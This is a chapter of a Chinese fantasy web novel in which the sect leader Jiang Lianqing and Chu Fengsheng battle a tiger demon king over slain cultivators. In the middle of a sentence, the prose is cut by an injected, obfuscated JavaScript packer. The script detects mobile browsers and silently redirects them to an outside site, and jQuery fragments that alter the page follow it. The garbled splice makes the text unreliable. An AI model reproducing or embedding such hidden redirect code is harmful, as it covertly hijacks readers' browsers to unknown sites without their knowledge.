清冷如雪,朦胧淡雅。
梨花香味似有若无,直至一柄红伞从柱子后探出,携来少女灵动的青色衣袖。
红伞微微一抬,烟青色的眼眸冷静沉稳。
姜涟清问:“你怎么知道的?”
她上下打量一番面前这膀大腰圆的虎大王,双眼微眯。
“如果连我大师兄谢砚声都觉得头疼的话,那你应该没有这个实力闻出我的灵力才对。”
“你是怎么知道的?”
虎大王听这话心中涌起一股怒火。
什么叫连谢砚声都觉得头疼就没有这个实力?他的实力就是妖中最顶尖的!降星洲所有妖都不敌他!
而他面上毫不显露,露出森白的牙齿:“只许你们修士有机缘,我们妖怪就没有机缘了?”
姜涟清摇头,眼神无辜:“我可没有这么说哦,别说的好像自己在别人眼前多低人一等似的。”
一旁的虎二哥看到姜涟清的红伞时,心便提到了嗓子眼。
“大大大……大王!”虎二哥拉了拉虎大王的袖子,“这就是那个和谢砚声一样难缠的女人!她的功法和谢砚声特别像!”
虎大王一把推开虎二哥,竖瞳中满是不屑:“归谕门已灭,纵是再像也不是谢砚声,有何好慌?”
姜涟清弯唇,薇颜浅笑,从袖口里拿出三枚铜制梨花钱。
“不巧了,小女子正是归谕门新一任门主,姜涟清是也。”
她轻轻投掷出了铜钱。
虎大王轻蔑道:“就你?一个小丫头?呵呵,一个名不见经传的小丫头,说是遗孤得了,还新门主。”
他撇过头示意虎二哥附和:“你说对吧,小二?”
虎二哥突然被提及虎躯一震,眼瞅着那几枚铜钱即将落地,就想起不久前,一枚钱直击他的门面,打得他靠在树上直不起腰。
他的伤还没好呢。
“大,大王,我觉得还是谨慎一点好。”
铜钱落地,发出“叮当”一声脆响。
虎大王不以为意:“就一小姑娘,怕什么?”
梨花钱全部正面朝上。
姜涟清淡淡道:“嗯,确实没有什么好怕的,那直接动手,怎么样?”
姜涟清最开始就没打算和这些妖讲道理,事情都已经发生了,就算打嘴仗赢了又怎么样?
那些死去的修士会回来似的。
说来或许小家子气,但从一月前春望一遭,她的怒火从未平息。
只是妖当然没有错,可妖害人,凭什么觉得自己没有错呢?
虎二哥奉承虎大王的话真恶心。
虽然不知道这楚逢生为什么要告诉她自己叫楚逢生,但结合虎二哥当时错愕的神情与方才听到的话语,不用几乎,完全可以确定,楚逢生就是他们口中,救了虎二哥后反被杀死的楚予思!
砌墙的小妖口口声声说着他们可不是人,有情有义有德报德,可这些妖又做着什么呢?
她在暗中瞥见,那堆落在王座之下的森森白骨,这还有什么是不明白的?
那是人的骨头,姜涟清认得出。
她知道这些妖抓修士要做什么了。
无非是,杀人取丹,生吃修士。
虎大王依旧没把她放在眼里,归谕门孤女罢了,何以畏惧。
他嗤笑一声:“年纪不大,胆子倒是不小。”
他召来一对青灰色的斧子。
如同被敲碎的镜子,血红色的纹路无规则蔓延,爬满了整个斧面,古老似海深的力量不加掩饰。
姜涟清下意识皱眉。
这感觉就和暗沉的铁链一模一样,她心中添了几分警觉。
青色灵力浮现,落于地面的梨花钱重新回到她手中。
卦象未曾改变,诸事顺宜。
她轻笑一声:“来吧!”
话音刚落,不等虎大王有所反应,姜涟清率先出手。
红伞滑落到虎大王身后,青色身影随之出现,毫不犹豫地刺了上去!
当——!
斧子挡住了攻击。
“呵呵,就这点力道还想和大王我打?不自量力!”
一斧子挥过去,姜涟清即刻下腰躲闪,几根青丝被削去。红伞往身后一扔,下一秒姜涟清又站在了王座之前。
踩着血腥气深重的地毯,姜涟清踢开一根白骨,眸光坚毅,又一次执伞上前。
从上次打过春望开始她就知道了,在绝对的压制下不能太过自傲,不然就是春望的下场。
方才那一击足够她预测此妖修为,对比起来左右不过金丹,毫无威胁可言。
“就这点修为,还觉得我好打?”
姜涟清元婴期的修为丝毫不加掩饰,指尖衔一枚梨花钱,随着灵力波动弹出,如青色的流星,直往虎大王胸口去!
虎大王想侧身回避,这这元婴期的强大气息让他一瞬间慌了神,躲避不急,最终右肩中了一击。
尽是就这样松手,任由斧子掉落在地。
“元婴期?!”虎大王的声音都变调了,“这降星洲哪来这么多元婴期!”
虎二哥提醒道:“大王我不是和您说了吗!这女的和谢砚声一样难缠!”
“您不是问我骗到哪个元婴期了?就这个元婴期啊!”
姜涟清手执红伞,于王座之上,居高临下地看着这虎大王,眸中不含一丝情绪。
虎大王暗道不好,扭头说:“你!和我一起上!”
虎二哥:“啊?我、我?!”
一想到被一击订到树上,他就萌生退缩之一,可对上虎大王的目光……虎二哥心生悲戚。
他召出自己的狼牙棒,大吼一声,冲了上去!
而此时,还未等姜涟清有所动作,一枚如寒冰般刺骨的银针稳稳地扎在了他的脖子上。
虎二哥身一软手一失力,瘫倒在地。
“啧啧,没实力硬逞能也是让你表演明白了。”
楚逢生坐在房梁之上,嘴上叼着不知哪里采来的草,艳丽的眉眼透着几丝不耐烦,或许还有几分迷茫。
他眉毛一挑:“你们打不过她的,以姜门主的实力,你们叫上你们手底下那几个小喽啰也只有被压制的份。”
“你还知道出现呢?”姜涟清好笑道。
她最开始立于此处,便察觉到了那堆骨头里强烈的,窥探的意味。
于是在试探虎大王实力时顺势后退,一脚踢飞了白骨上那一点绿色。
楚逢生偷窥这么久,终于愿意现身了。
楚逢生嘿嘿一笑:“这不是一个人不敢独闯,所以等姜门主发号施令吗?你一叫我不就来了?”
“你为什么出现自己心里清楚。”姜涟清懒得戳穿他。
虎大王在见到楚逢生时,那张一直装作淡定的脸终于寸寸龟裂,青筋凸起,虎耳都从头上冒出来。
他咬牙切齿:“楚、予、思!”
他也顾不得姜涟清了,提起斧子一拍,骤然暴起,向着楚逢生的位置杀过去。
姜涟清惊呼一声:“小心!他这东西会禁锢你的灵力!”
说罢,夜阑珊往空中一抛,青影瞬移到楚逢生身边,一把将人拽下房梁!
砰——轰隆——
两面如岩浆崩裂的斧子突然淌出鲜血,房梁砍断,尘土飘落。
屋顶
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16002747|178306||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
塌了一块,正巧把虎大王埋住。
姜涟清带着楚逢生稳稳落地,不轻不重地瞥他一眼,似是在说你反应真慢。
楚逢生嬉皮笑脸:“谢姜门主再次相救呀~”
姜涟清一手叉腰:“你啊,有东西没给我坦白吧?”
楚逢生:“什么东西?”
姜涟清:“你自己想!”
楚逢生勾上系起她乌发的红色飘带,在指上绕了一个圈:“你不明说,我怎么知道?你说了我都告诉……”
哗啦啦——
虎大王从坍塌的屋顶中爬起来,瓦砾从他的衣间洒落。他一抬头,一张虎脸面露凶狠,双目赤红。
浑身无力的虎二哥此时突然蛄蛹起来,两只虎眼瞪得大大的。
“大王!大王!”
扑了个空的虎大王此时突然不对劲起来。
滴答,滴答……
血滴从斧面上凝聚,一滴一滴落到地面上。
虎大王重新捡起了掉落的斧子。
虎二哥:“喂!你们俩,快把大王绑住啊!”
地上的血潭越蓄越多,虎大王的臂膀一寸寸变大,长出老虎的皮毛,一根尾巴捅破衣衫,在背后高高竖起。
姜涟清下意识把楚逢生护在身后,拿出一枚梨花钱置于大拇指上,向上一抛——
梨花钱稳稳落在她的手心。
是反面。
看来大事不妙。
“吼!嗷——!”
虎大王一声愤怒的虎啸,不管不管地摔开身上的碎布,提着两把淌血的斧子就飞奔过来!
他腰间玄黑的钥匙,落在废墟里。
姜涟清眸光一凝,厉声命令:“楚逢生,去把那堆石头里的钥匙找出来,黑色的。”
说着,她打开夜阑珊,红色伞面挡住了攻势,珠帘碰撞的噼里啪啦声响个不停,红色液体顺着伞面流下。
楚逢生听到她的命令也不多问,毫不犹豫几步扎进废墟里翻找。
路过虎二哥时,他停留片刻,眉头一皱,最终什么也没说,也什么都没做。
楚予思的债肯定是要讨的,但是以更为公平的方式,最有资格审判他的人不是自己。
不知此方结界要如何撤销。
只要那层薄雾褪去,污秽之气便无处遁形了吧?他想。
楚逢生抬头看着缺了一角的屋顶。
天空已然微亮,月芒将逝,群星将散。
另一边,姜涟清注入一股元婴期的灵力,连接双斧,一下子将虎大王震飞出去!
虎大王巨大的身躯砸到到王座之上,一声巨响,王座倒塌,他猛的吐出一口血来,而眼中的疯狂却仍未消失,反而愈发魔怔。
这下倒好,任谁来都看得出是哪里出了意外了,恐怕现在这具躯体已经不是虎大王自己控制的。
虎二哥见此情形,转头朝着楚逢生大喊:“楚医师!楚医师!把针拔下来!我求你了!”
“大王会死的!再这样下去大王会死的!”
“我求求你!我求求你!以怨报德是我的不对,但是妖的命也是命啊!”
楚逢生终于从废墟里找到一把黑色小钥匙。
他眼皮都不抬一下:“哦?你也配说妖怪的命也是命?”
楚逢生嗤笑:“你手上的人命很少吗?我的命不也在你手上?你到底是怎么说得出口的,虎二。”
多讽刺,平白无故伤害普通人,诓骗好心修士,协助杀人取丹的妖。
居然和他说,妖的命也是命?
那楚予思呢?
这位医者救死扶伤,杏林春暖,他的命就该如草芥,任他人践踏吗?